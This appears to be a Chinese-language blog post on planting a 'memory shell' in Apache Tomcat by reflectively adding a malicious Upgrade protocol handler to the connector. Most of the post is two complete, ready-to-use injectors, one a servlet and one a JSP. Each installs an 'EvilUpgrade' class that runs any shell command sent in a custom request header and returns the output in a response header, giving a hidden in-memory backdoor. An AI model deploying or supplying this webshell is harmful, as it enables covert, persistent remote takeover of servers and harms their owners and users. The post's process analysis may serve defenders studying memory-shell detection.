Tomcat MemoryShell Of Upgrade

Preparation

中间件型内存马Upgrade依旧还是基于Connector的内存马注入,在中间件型内存马Executor中,利用的是ProtocolHandler中的Endpoint里的Executor组件,而Upgrade利用的是ProtocolHandler的另一个组成部分,即Processor里的Upgrade组件。

Process Analysis

Processor是一个接口,针对的不同协议,有着不同的具体实现类,由于采用的是HTTP协议,因此来看看org.apache.coyote.http11.Http11Processor。

Http11Processor在处理Upgrade时,会执行以下的步骤:

  • Http11Processor#service方法会检查请求头中的Connection字段的值是否包含upgrade;
  • 若请求头中的Connection字段的值包含upgrade,则会调用request#getHeader方法来获取请求头Upgrade,并根据获取到的结果来选择对应的Upgrade对象;
  • 当upgradeProtocol不为空时,调用该对象的accept方法。

因此,可以尝试在accept方法中插入恶意代码来达到命令执行的目的。

接下来看看httpUpgradeProtocols是怎么获取的,在Http11Processor初始化阶段,会对httpUpgradeProtocols赋值。

而在org.apache.coyote.http11.AbstractHttp11Protocol#createProcessor方法中会实例化一个Http11Processor对象,将httpUpgradeProtocols传入。

继续跟进看看org.apache.coyote.http11.AbstractHttp11Protocol中在何处对httpUpgradeProtocols进行了赋值,跟进org.apache.coyote.http11.AbstractHttp11Protocol#configureUpgradeProtocol方法,这里将httpUpgradeName和upgradeProtocol添加到httpUpgradeProtocols的HashMap中。

因此,通过反射调用将httpUpgradeProtocols添加一项,即可实现Upgrade内存马。通过下断点,找到一处httpUpgradeProtocols,实现路径request->request->connector->protocolHandler->httpUpgradeProtocols。

Achievement

Idea

动态注册Upgrade内存马的具体思路如下:

  • 获取httpUpgradeProtocols属性;
  • 创建一个恶意的upgradeProtocol;
  • 将恶意的upgradeProtocol插入到httpUpgradeProtocols中。

Dynamic Registration

Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
package servlet;

import org.apache.catalina.connector.Connector;
import org.apache.coyote.*;
import org.apache.coyote.http11.Http11NioProtocol;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Scanner;

@WebServlet(name = "UpgradeMemoryShellServlet", value = "/UpgradeMemoryShellServlet")
public class UpgradeMemoryShellServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
super.doGet(request, response);
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
Object request1 = getField(request, "request");
Connector connector = (Connector) getField(request1, "connector");
Http11NioProtocol protocolHandler = (Http11NioProtocol) getField(connector, "protocolHandler");
HashMap httpUpgradeProtocols = (HashMap) getField(protocolHandler, "httpUpgradeProtocols");
httpUpgradeProtocols.put("H3rmesk1t", new EvilUpgrade());
response.getWriter().println("Upgrade Inject Successfully...");
} catch (Exception e) {
e.printStackTrace();
}
}

class EvilUpgrade implements UpgradeProtocol {
@Override
public String getHttpUpgradeName(boolean isSecure) {
return null;
}

@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}

@Override
public String getAlpnName() {
return null;
}

@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) {
return null;
}

@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) {
return null;
}

@Override
public boolean accept(Request request) {
String cmd = request.getHeader("set-reference");
try {
if (cmd != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";

Response response = (Response) getField(request, "response");
response.addHeader("set-message", new String(output.getBytes(), StandardCharsets.UTF_8));
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}

public Object getField(Object obj, String field) {
Class clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field declaredField = clazz.getDeclaredField(field);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
}

JSP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.http11.Http11NioProtocol" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="org.apache.coyote.*" %>
<%@ page import="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
class EvilUpgrade implements UpgradeProtocol {
@Override
public String getHttpUpgradeName(boolean isSecure) {
return null;
}

@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}

@Override
public String getAlpnName() {
return null;
}

@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) {
return null;
}

@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) {
return null;
}

@Override
public boolean accept(Request request) {
String cmd = request.getHeader("set-reference");
try {
if (cmd != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";

Response response = (Response) getField(request, "response");
response.addHeader("set-message", new String(output.getBytes(), StandardCharsets.UTF_8));
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}

public Object getField(Object obj, String field) {
Class clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field declaredField = clazz.getDeclaredField(field);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
%>

<%
Object request1 = getField(request, "request");
Connector connector = (Connector) getField(request1, "connector");
Http11NioProtocol protocolHandler = (Http11NioProtocol) getField(connector, "protocolHandler");
HashMap httpUpgradeProtocols = (HashMap) getField(protocolHandler, "httpUpgradeProtocols");
httpUpgradeProtocols.put("H3rmesk1t", new EvilUpgrade());
response.getWriter().println("Upgrade Inject Successfully...");
%>